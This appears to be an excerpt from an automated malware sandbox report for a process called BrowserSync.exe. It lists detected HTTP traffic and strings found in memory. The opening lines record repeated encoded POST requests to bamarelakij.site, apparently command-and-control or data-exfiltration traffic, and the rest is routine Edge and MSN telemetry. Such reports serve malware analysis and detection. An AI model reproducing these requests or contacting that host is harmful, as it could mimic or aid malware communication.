Source: global traffic	HTTP traffic detected: POST /64.htm?hkv47kov=jujLeecKnLDxH4%2Fn3Gf%2FcLOXX1VHlofmE6nbrKOrHhL4GuQ5YkbXRU4eMxxn6chYW44JbQRqTNknnCoZoJ5qDg%3D%3D HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36x: PuwyymoQi+JtPN4ute+6ODpPd+ApSWsY9IWQJs6G8Wi2/wA3/Nkcmc/Wio/7MyGLdkzTj8aV5zwContent-Length: 380Host: bamarelakij.site
Source: global traffic	HTTP traffic detected: POST /64.htm?hkv47kov=jujLeecKnLDxH4%2Fn3Gf%2FcLOXX1VHlofmE6nbrKOrHhL4GuQ5YkbXRU4eMxxn6chYW44JbQRqTNknnCoZoJ5qDg%3D%3D HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36x: PuwyymoQi+JtPN4ute+6ODpPd+ApSWsY9IWQJs6G8Wi2/wA3/Nkcmc/Wio/7MyGLdkzTj8aV5zwContent-Length: 14825Host: bamarelakij.site
Source: global traffic	HTTP traffic detected: POST /64.htm?hkv47kov=jujLeecKnLDxH4%2Fn3Gf%2FcLOXX1VHlofmE6nbrKOrHhL4GuQ5YkbXRU4eMxxn6chYW44JbQRqTNknnCoZoJ5qDg%3D%3D HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36x: PuwyymoQi+JtPN4ute+6ODpPd+ApSWsY9IWQJs6G8Wi2/wA3/Nkcmc/Wio/7MyGLdkzTj8aV5zwContent-Length: 74816Host: bamarelakij.site
Source: global traffic	HTTP traffic detected: POST /64.htm?hkv47kov=jujLeecKnLDxH4%2Fn3Gf%2FcLOXX1VHlofmE6nbrKOrHhL4GuQ5YkbXRU4eMxxn6chYW44JbQRqTNknnCoZoJ5qDg%3D%3D HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36x: PuwyymoQi+JtPN4ute+6ODpPd+ApSWsY9IWQJs6G8Wi2/wA3/Nkcmc/Wio/7MyGLdkzTj8aV5zwContent-Length: 35Host: bamarelakij.site
Source: global traffic	HTTP traffic detected: POST /64.htm?hkv47kov=jujLeecKnLDxH4%2Fn3Gf%2FcLOXX1VHlofmE6nbrKOrHhL4GuQ5YkbXRU4eMxxn6chYW44JbQRqTNknnCoZoJ5qDg%3D%3D HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36x: PuwyymoQi+JtPN4ute+6ODpPd+ApSWsY9IWQJs6G8Wi2/wA3/Nkcmc/Wio/7MyGLdkzTj8aV5zwContent-Length: 110937Host: bamarelakij.site
Source: global traffic	HTTP traffic detected: POST /64.htm?hkv47kov=jujLeecKnLDxH4%2Fn3Gf%2FcLOXX1VHlofmE6nbrKOrHhL4GuQ5YkbXRU4eMxxn6chYW44JbQRqTNknnCoZoJ5qDg%3D%3D HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36x: PuwyymoQi+JtPN4ute+6ODpPd+ApSWsY9IWQJs6G8Wi2/wA3/Nkcmc/Wio/7MyGLdkzTj8aV5zwContent-Length: 745Host: bamarelakij.site
Source: global traffic	HTTP traffic detected: POST /64.htm?hkv47kov=jujLeecKnLDxH4%2Fn3Gf%2FcLOXX1VHlofmE6nbrKOrHhL4GuQ5YkbXRU4eMxxn6chYW44JbQRqTNknnCoZoJ5qDg%3D%3D HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36x: PuwyymoQi+JtPN4ute+6ODpPd+ApSWsY9IWQJs6G8Wi2/wA3/Nkcmc/Wio/7MyGLdkzTj8aV5zwContent-Length: 212Host: bamarelakij.site
Source: global traffic	HTTP traffic detected: POST /64.htm?hkv47kov=jujLeecKnLDxH4%2Fn3Gf%2FcLOXX1VHlofmE6nbrKOrHhL4GuQ5YkbXRU4eMxxn6chYW44JbQRqTNknnCoZoJ5qDg%3D%3D HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36x: PuwyymoQi+JtPN4ute+6ODpPd+ApSWsY9IWQJs6G8Wi2/wA3/Nkcmc/Wio/7MyGLdkzTj8aV5zwContent-Length: 380Host: bamarelakij.site
Source: global traffic	HTTP traffic detected: POST /64.htm?hkv47kov=jujLeecKnLDxH4%2Fn3Gf%2FcLOXX1VHlofmE6nbrKOrHhL4GuQ5YkbXRU4eMxxn6chYW44JbQRqTNknnCoZoJ5qDg%3D%3D HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36x: PuwyymoQi+JtPN4ute+6ODpPd+ApSWsY9IWQJs6G8Wi2/wA3/Nkcmc/Wio/7MyGLdkzTj8aV5zwContent-Length: 14825Host: bamarelakij.site
Source: global traffic	HTTP traffic detected: POST /64.htm?hkv47kov=jujLeecKnLDxH4%2Fn3Gf%2FcLOXX1VHlofmE6nbrKOrHhL4GuQ5YkbXRU4eMxxn6chYW44JbQRqTNknnCoZoJ5qDg%3D%3D HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36x: PuwyymoQi+JtPN4ute+6ODpPd+ApSWsY9IWQJs6G8Wi2/wA3/Nkcmc/Wio/7MyGLdkzTj8aV5zwContent-Length: 74778Host: bamarelakij.site
Source: global traffic	HTTP traffic detected: POST /64.htm?hkv47kov=jujLeecKnLDxH4%2Fn3Gf%2FcLOXX1VHlofmE6nbrKOrHhL4GuQ5YkbXRU4eMxxn6chYW44JbQRqTNknnCoZoJ5qDg%3D%3D HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36x: PuwyymoQi+JtPN4ute+6ODpPd+ApSWsY9IWQJs6G8Wi2/wA3/Nkcmc/Wio/7MyGLdkzTj8aV5zwContent-Length: 35Host: bamarelakij.site

Source: global traffic	HTTP traffic detected: GET /crx/blobs/AW50ZFvmkG4OHGgRTAu7ED1s4Osp5h4hBv39bA-6HcwOhSY7CGpTiD4wJ46Ud6Bo6P7yWyrRWCx-L37vtqrnUs3U44hGlerneoOywl1xhFHZUyPx_GIMNYxNDzQk9TJs4K4AxlKa5fjk7yW6cw-fwnpof9qnkobSLXrM/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_85_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /resolver/api/resolve/v3/config/?expType=AppConfig&expInstance=default&apptype=edgeChromium&v=20250109.199&targetScope={%22audienceMode%22:%22adult%22,%22browser%22:{%22browserType%22:%22edgeChromium%22,%22version%22:%22117%22,%22ismobile%22:%22false%22},%22deviceFormFactor%22:%22desktop%22,%22domain%22:%22ntp.msn.com%22,%22locale%22:{%22content%22:{%22language%22:%22en%22,%22market%22:%22us%22},%22display%22:{%22language%22:%22en%22,%22market%22:%22us%22}},%22os%22:%22windows%22,%22platform%22:%22web%22,%22pageType%22:%22dhp%22,%22pageExperiments%22:[%22prg-1s-twid%22,%22prg-1s-workid%22,%22prg-1sw-agfspf1%22,%22prg-1sw-aitt-dt%22,%22prg-1sw-bg-p2%22,%22prg-1sw-cc-calfeedi%22,%22prg-1sw-cgl1qr%22,%22prg-1sw-cmevlt%22,%22prg-1sw-crypinf%22,%22prg-1sw-cryptren%22,%22prg-1sw-ldny-transit%22,%22prg-1sw-reclaim%22,%22prg-1sw-reclaim2%22,%22prg-1sw-sa-capconf2t3%22,%22prg-1sw-sa-capwp1t5%22,%22prg-1sw-sa-dnet%22,%22prg-1sw-sa-sp7-tcc%22,%22prg-1sw-saccunifyv2t1%22,%22prg-1sw-sagervunipa%22,%22prg-1sw-tbrfltr%22,%22prg-1sw-tran-trd%22,%22prg-1sw-uclam%22,%22prg-1sw-videopb%22,%22prg-1sw-videosxap%22,%22prg-1sw-wxnhcolk%22,%22prg-1sw-wxomghd%22,%22prg-1unified-u-t%22,%22prg-ad-chtag%22,%22prg-adspeek%22,%22prg-cg-ab-testing%22,%22prg-cg-game-exp-1%22,%22prg-cg-game-exp-11%22,%22prg-cg-ingames-ct%22,%22prg-cg-lstfix%22,%22prg-cg-zhcnfx%22,%22prg-cnexb%22,%22prg-fin-compof%22,%22prg-fin-hpoflio%22,%22prg-fin-poflio%22,%22prg-fin-rmar%22,%22prg-gc-pickwinner%22,%22prg-p1-txt2%22,%22prg-p1-uc3%22,%22prg-p2-tf-bdgpv-ai%22,%22prg-pr1-uc-t%22,%22prg-pr1-videos%22,%22prg-pr2-fieplc%22,%22prg-pr2-lifecycleba%22,%22prg-pr2-rail2colboard%22,%22prg-pr2-stalecontent%22,%22prg-pr2-stalecontent-dt%22,%22prg-pr2-trf-rhighimp%22,%22prg-pr2-uxmitipreimg-c%22,%22prg-pr2-widget-tab%22,%22prg-pr2-wxevolnoti%22,%22prg-pw-bhpvtip%22,%22prg-pw-t-cct-migrate%22,%22prg-pw-t-dup-content%22,%22prg-pw-t-no-ad-css%22,%22prg-sh-bd-video%22,%22prg-sh-dealsdaypdp%22,%22prg-sh-frnr%22,%22prg-sh-rmitmlnk-c%22,%22prg-shipwidoff%22,%22prg-sp-liveapi%22,%22prg-stalewhp%22,%22prg-tv-api%22,%22prg-tv-segcap10%22,%22prg-upsaip-w1-t%22,%22prg-vid-cd%22,%22prg-vid-trdcache%22,%22prg-widgets-manager%22,%22prg-widgets-region%22,%22prg-wtch-chsb-t2%22,%22prg-wx-dhgrd%22,%22prg-wx-pwafull%22]} HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /b?rn=1736430067774&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=3AADB05FC3906D36247DA530C2F26CF4&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /b2?rn=1736430067774&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=3AADB05FC3906D36247DA530C2F26CF4&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=1B69ceef9c01beafbf02b721736430068; XID=1B69ceef9c01beafbf02b721736430068
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1736430067774&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=c0bbf685d83c442b9fe503242c20b6fc&activityId=c0bbf685d83c442b9fe503242c20b6fc&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=C7020E5FD97649BABA433FD711F27806&MUID=3AADB05FC3906D36247DA530C2F26CF4 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=3AADB05FC3906D36247DA530C2F26CF4; _EDGE_S=F=1&SID=1568EDC37D376DE73348F8AC7CFA6C29; _EDGE_V=1; SM=T

Source: BrowserSync.exe, 0000000D.00000003.2384718488.000000000805A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2409286120.000000000805A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: www.youtube.comP`b equals www.youtube.com (Youtube)
Source: BrowserSync.exe, 0000000D.00000003.2432835446.0000000008069000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2383274333.0000000008069000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2407491223.0000000008069000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: .om/AS/Suggestions/v2 www.bing.com/bnc/ www.bing.com/crop/warmer.png www.bing.com/historyHandler www.bing.com/images/sbidlg www.bing.com/pnp/ www.bing.com/profile/history/data www.bing.com/profile/interestmanager/update www.bing.com/retail/msn/api/shopcard www.bing.com/retailexp/msn/api/ www.bing.com/retailexpdata/msndata/ www.bing.com/rp/rms_pr.png www.bing.com/th wus-streaming-video-msn-com.akamaized.net prod-streaming-video-msn-com.akamaized.net prod-streaming-video.msn.cn msn-api.go2yd.com zerocodecms.blob.core.windows.net .oneservice.msn.com .oneservice.msn.cn api.msn.com api.msn.cn ent-api.msn.com ent-api.msn.cn ent-nf-api.msn.com ent-nf-api.msn.cn ppe-api.msn.com ppe-api.msn.cn graph.microsoft.com/beta/ graph.microsoft.com/v1.0/ https://.vo.msecnd.net https://user.auth.xboxlive.com/user/authenticate https://xsts.auth.xboxlive.com/xsts/authorize https://titlehub.xboxlive.com/users/ https://t.ssl.ak.dynamic.tiles.virtualearth.net https://dynamic.t0.tiles.ditu.live.com https://dev.virtualearth.net/REST/v1/Routes/ https://dev.ditu.live.com/REST/v1/Routes/ https://dev.virtualearth.net/REST/v1/Locations/ https://dev.ditu.live.com/REST/v1/Locations/ browser.events.data.microsoft.com ib.msn.com https://proxy.uet.s.microsoft.com/tpv-dv/;default-src 'none';font-src 'self' data: assets.msn.com assets2.msn.com assets.msn.cn assets2.msn.cn;frame-src https://api.msn.com/auth/cookie/silentpassport https://api.msn.cn/auth/cookie/silentpassport https://www.msn.com https://www.msn.cn https://www.microsoftstart.com login.live.com login.microsoftonline.com www.bing.com/covid www.bing.com/rewardsapp/flyout www.bing.com/shop www.bing.com/shop/halloween www.bing.com/videos/search www.facebook.com www.odwebp.svc.ms www.youtube.com msn.pluto.tv www.bing.com/wpt/prefetchcib https://res.cdn.office.net/ business.bing.com sip: mailto: edge-auth.microsoft.com;img-src https:// blob: chrome-search://ntpicon/ chrome-search://local-ntp/ chrome-search://theme/ data:;media-src 'self' blob: *.mavideo.microsoft.com assets.msn.com assets2.msn.com assets.msn.cn assets2.msn.cn https://sapphire.azureedge.net th.bing.com/th wus-streaming-video-msn-com.akamaized.net prod-streaming-video-msn-com.akamaized.net prod-streaming-video.msn.cn video.yidianzixun.com liveshopping.azureedge.net;report-to csp-endpoint;require-trusted-types-for 'script';style-src 'self' 'unsafe-inline' c.s-microsoft.com/mscc/ assets.msn.com assets2.msn.com assets.msn.cn assets2.msn.cn;trusted-types serviceWorkerUrlPolicy baw-trustedtypes-policy svgPassThroughPolicy xmlPassThroughPolicy webpackTrustedTypesPolicy webWorkerUrlPolicy inlineHeadCssPassthroughPolicy bundleUrlPolicy fallbackBundleUrlPolicy scriptSrcUrlPolicy commonAsScriptPolicy dompurify fast-html base-html-policy ot-trusted-type-policy default 'allow-duplicates' IasUrlPolicy DvUrlPolicy;worker-src 'self' blob: 'report-sample';script-src 'nonce-+jPlmFW1Jz7S6oc9HNNewztccmy5u3qcQLkO7L/KfbE=' 'strict-dynamic' equals www.facebook.com (Facebook)
Source: BrowserSync.exe, 0000000D.00000003.2432835446.0000000008069000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2383274333.0000000008069000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2407491223.0000000008069000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: .om/AS/Suggestions/v2 www.bing.com/bnc/ www.bing.com/crop/warmer.png www.bing.com/historyHandler www.bing.com/images/sbidlg www.bing.com/pnp/ www.bing.com/profile/history/data www.bing.com/profile/interestmanager/update www.bing.com/retail/msn/api/shopcard www.bing.com/retailexp/msn/api/ www.bing.com/retailexpdata/msndata/ www.bing.com/rp/rms_pr.png www.bing.com/th wus-streaming-video-msn-com.akamaized.net prod-streaming-video-msn-com.akamaized.net prod-streaming-video.msn.cn msn-api.go2yd.com zerocodecms.blob.core.windows.net .oneservice.msn.com .oneservice.msn.cn api.msn.com api.msn.cn ent-api.msn.com ent-api.msn.cn ent-nf-api.msn.com ent-nf-api.msn.cn ppe-api.msn.com ppe-api.msn.cn graph.microsoft.com/beta/ graph.microsoft.com/v1.0/ https://.vo.msecnd.net https://user.auth.xboxlive.com/user/authenticate https://xsts.auth.xboxlive.com/xsts/authorize https://titlehub.xboxlive.com/users/ https://t.ssl.ak.dynamic.tiles.virtualearth.net https://dynamic.t0.tiles.ditu.live.com https://dev.virtualearth.net/REST/v1/Routes/ https://dev.ditu.live.com/REST/v1/Routes/ https://dev.virtualearth.net/REST/v1/Locations/ https://dev.ditu.live.com/REST/v1/Locations/ browser.events.data.microsoft.com ib.msn.com https://proxy.uet.s.microsoft.com/tpv-dv/;default-src 'none';font-src 'self' data: assets.msn.com assets2.msn.com assets.msn.cn assets2.msn.cn;frame-src https://api.msn.com/auth/cookie/silentpassport https://api.msn.cn/auth/cookie/silentpassport https://www.msn.com https://www.msn.cn https://www.microsoftstart.com login.live.com login.microsoftonline.com www.bing.com/covid www.bing.com/rewardsapp/flyout www.bing.com/shop www.bing.com/shop/halloween www.bing.com/videos/search www.facebook.com www.odwebp.svc.ms www.youtube.com msn.pluto.tv www.bing.com/wpt/prefetchcib https://res.cdn.office.net/ business.bing.com sip: mailto: edge-auth.microsoft.com;img-src https:// blob: chrome-search://ntpicon/ chrome-search://local-ntp/ chrome-search://theme/ data:;media-src 'self' blob: *.mavideo.microsoft.com assets.msn.com assets2.msn.com assets.msn.cn assets2.msn.cn https://sapphire.azureedge.net th.bing.com/th wus-streaming-video-msn-com.akamaized.net prod-streaming-video-msn-com.akamaized.net prod-streaming-video.msn.cn video.yidianzixun.com liveshopping.azureedge.net;report-to csp-endpoint;require-trusted-types-for 'script';style-src 'self' 'unsafe-inline' c.s-microsoft.com/mscc/ assets.msn.com assets2.msn.com assets.msn.cn assets2.msn.cn;trusted-types serviceWorkerUrlPolicy baw-trustedtypes-policy svgPassThroughPolicy xmlPassThroughPolicy webpackTrustedTypesPolicy webWorkerUrlPolicy inlineHeadCssPassthroughPolicy bundleUrlPolicy fallbackBundleUrlPolicy scriptSrcUrlPolicy commonAsScriptPolicy dompurify fast-html base-html-policy ot-trusted-type-policy default 'allow-duplicates' IasUrlPolicy DvUrlPolicy;worker-src 'self' blob: 'report-sample';script-src 'nonce-+jPlmFW1Jz7S6oc9HNNewztccmy5u3qcQLkO7L/KfbE=' 'strict-dynamic' equals www.youtube.com (Youtube)
Source: BrowserSync.exe, 0000000D.00000003.2384718488.000000000805A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2409286120.000000000805A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: @www.facebook.comXb equals www.facebook.com (Facebook)
Source: BrowserSync.exe, 0000000D.00000003.2386370061.0000000002EFC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: QLkO7L/KfbE=' 'self' 'report-sample' assets.msn.cn assets2.msn.cn assets.msn.com assets2.msn.com www.msn.com www.msn.cn c.s-microsoft.com/mscc/ geolocation.onetrust.com/cookieconsentpub/v1/geo/location https://www.clarity.ms platform.bing.com/geo/AutoSuggest/v1 www.bing.com/as/ www.bing.com/s/as/ www.youtube.com js.monitor.azure.com business.bing.com/msb/ equals www.youtube.com (Youtube)
Source: BrowserSync.exe, 0000000D.00000003.2386370061.0000000002EFC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: QLkO7L/KfbE=' 'self' 'report-sample' assets.msn.cn assets2.msn.cn assets.msn.com assets2.msn.com www.msn.com www.msn.cn c.s-microsoft.com/mscc/ geolocation.onetrust.com/cookieconsentpub/v1/geo/location https://www.clarity.ms platform.bing.com/geo/AutoSuggest/v1 www.bing.com/as/ www.bing.com/s/as/ www.youtube.com js.monitor.azure.com business.bing.com/msb/g.com/msb/;worker-src * blob: equals www.youtube.com (Youtube)
Source: BrowserSync.exe, 0000000D.00000003.2386370061.0000000002EFC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: _!@rc 'nonce-+jPlmFW1Jz7S6oc9HNNewztccmy5u3qcQLkO7L/KfbE=' 'self' 'report-sample' assets.msn.cn assets2.msn.cn assets.msn.com assets2.msn.com www.msn.com www.msn.cn c.s-microsoft.com/mscc/ geolocation.onetrust.com/cookieconsentpub/v1/geo/location https://www.clarity.ms platform.bing.com/geo/AutoSuggest/v1 www.bing.com/as/ www.bing.com/s/as/ www.youtube.com js.monitor.azure.com business.bing.com/msb/;worker-src * blob: equals www.youtube.com (Youtube)
Source: BrowserSync.exe, 0000000D.00000003.2384718488.000000000805A000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2409286120.000000000805A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: `www.youtube.com equals www.youtube.com (Youtube)
Source: BrowserSync.exe, 0000000D.00000003.2386370061.0000000002EFC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: jPlmFW1Jz7S6oc9HNNewztccmy5u3qcQLkO7L/KfbE=' 'self' 'report-sample' assets.msn.cn assets2.msn.cn assets.msn.com assets2.msn.com www.msn.com www.msn.cn c.s-microsoft.com/mscc/ geolocation.onetrust.com/cookieconsentpub/v1/geo/location https://www.clarity.ms platform.bing.com/geo/AutoSuggest/v1 www.bing.com/as/ www.bing.com/s/as/ www.youtube.com js.monitor.azure.com business.bing.com/msb/ equals www.youtube.com (Youtube)
Source: BrowserSync.exe, 0000000D.00000003.2386370061.0000000002EFC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: jPlmFW1Jz7S6oc9HNNewztccmy5u3qcQLkO7L/KfbE=' 'self' 'report-sample' assets.msn.cn assets2.msn.cn assets.msn.com assets2.msn.com www.msn.com www.msn.cn c.s-microsoft.com/mscc/ geolocation.onetrust.com/cookieconsentpub/v1/geo/location https://www.clarity.ms platform.bing.com/geo/AutoSuggest/v1 www.bing.com/as/ www.bing.com/s/as/ www.youtube.com js.monitor.azure.com business.bing.com/msb/g.com/msb/;worker-src * blob: equals www.youtube.com (Youtube)
Source: BrowserSync.exe, 0000000D.00000003.2432835446.0000000008069000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2383274333.0000000008069000.00000004.00000001.00020000.00000000.sdmp, BrowserSync.exe, 0000000D.00000003.2407491223.0000000008069000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: om/AS/Suggestions/v2 www.bing.com/bnc/ www.bing.com/crop/warmer.png www.bing.com/historyHandler www.bing.com/images/sbidlg www.bing.com/pnp/ www.bing.com/profile/history/data www.bing.com/profile/interestmanager/update www.bing.com/retail/msn/api/shopcard www.bing.com/retailexp/msn/api/ www.bing.com/retailexpdata/msndata/ www.bing.com/rp/rms_pr.png www.bing.com/th wus-streaming-video-msn-com.akamaized.net prod-streaming-video-msn-com.akamaized.net prod-streaming-video.msn.cn msn-api.go2yd.com zerocodecms.blob.core.windows.net .oneservice.msn.com .oneservice.msn.cn api.msn.com api.msn.cn ent-api.msn.com ent-api.msn.cn ent-nf-api.msn.com ent-nf-api.msn.cn ppe-api.msn.com ppe-api.msn.cn graph.microsoft.com/beta/ graph.microsoft.com/v1.0/ https://.vo.msecnd.net https://user.auth.xboxlive.com/user/authenticate https://xsts.auth.xboxlive.com/xsts/authorize https://titlehub.xboxlive.com/users/ https://t.ssl.ak.dynamic.tiles.virtualearth.net https://dynamic.t0.tiles.ditu.live.com https://dev.virtualearth.net/REST/v1/Routes/ https://dev.ditu.live.com/REST/v1/Routes/ https://dev.virtualearth.net/REST/v1/Locations/ https://dev.ditu.live.com/REST/v1/Locations/ browser.events.data.microsoft.com ib.msn.com https://proxy.uet.s.microsoft.com/tpv-dv/;default-src 'none';font-src 'self' data: assets.msn.com assets2.msn.com assets.msn.cn assets2.msn.cn;frame-src https://api.msn.com/auth/cookie/silentpassport https://api.msn.cn/auth/cookie/silentpassport https://www.msn.com https://www.msn.cn https://www.microsoftstart.com login.live.com login.microsoftonline.com www.bing.com/covid www.bing.com/rewardsapp/flyout www.bing.com/shop www.bing.com/shop/halloween www.bing.com/videos/search www.facebook.com www.odwebp.svc.ms www.youtube.com msn.pluto.tv www.bing.com/wpt/prefetchcib https://res.cdn.office.net/ business.bing.com sip: mailto: edge-auth.microsoft.com;img-src https:// blob: chrome-search://ntpicon/ chrome-search://local-ntp/ chrome-search://theme/ data:;media-src 'self' blob: *.mavideo.microsoft.com assets.msn.com assets2.msn.com assets.msn.cn assets2.msn.cn https://sapphire.azureedge.net th.bing.com/th wus-streaming-video-msn-com.akamaized.net prod-streaming-video-msn-com.akamaized.net prod-streaming-video.msn.cn video.yidianzixun.com liveshopping.azureedge.net;report-to csp-endpoint;require-trusted-types-for 'script';style-src 'self' 'unsafe-inline' c.s-microsoft.com/mscc/ assets.msn.com assets2.msn.com assets.msn.cn assets2.msn.cn;trusted-types serviceWorkerUrlPolicy baw-trustedtypes-policy svgPassThroughPolicy xmlPassThroughPolicy webpackTrustedTypesPolicy webWorkerUrlPolicy inlineHeadCssPassthroughPolicy bundleUrlPolicy fallbackBundleUrlPolicy scriptSrcUrlPolicy commonAsScriptPolicy dompurify fast-html base-html-policy ot-trusted-type-policy default 'allow-duplicates' IasUrlPolicy DvUrlPolicy;worker-src 'self' blob: 'report-sample';script-src 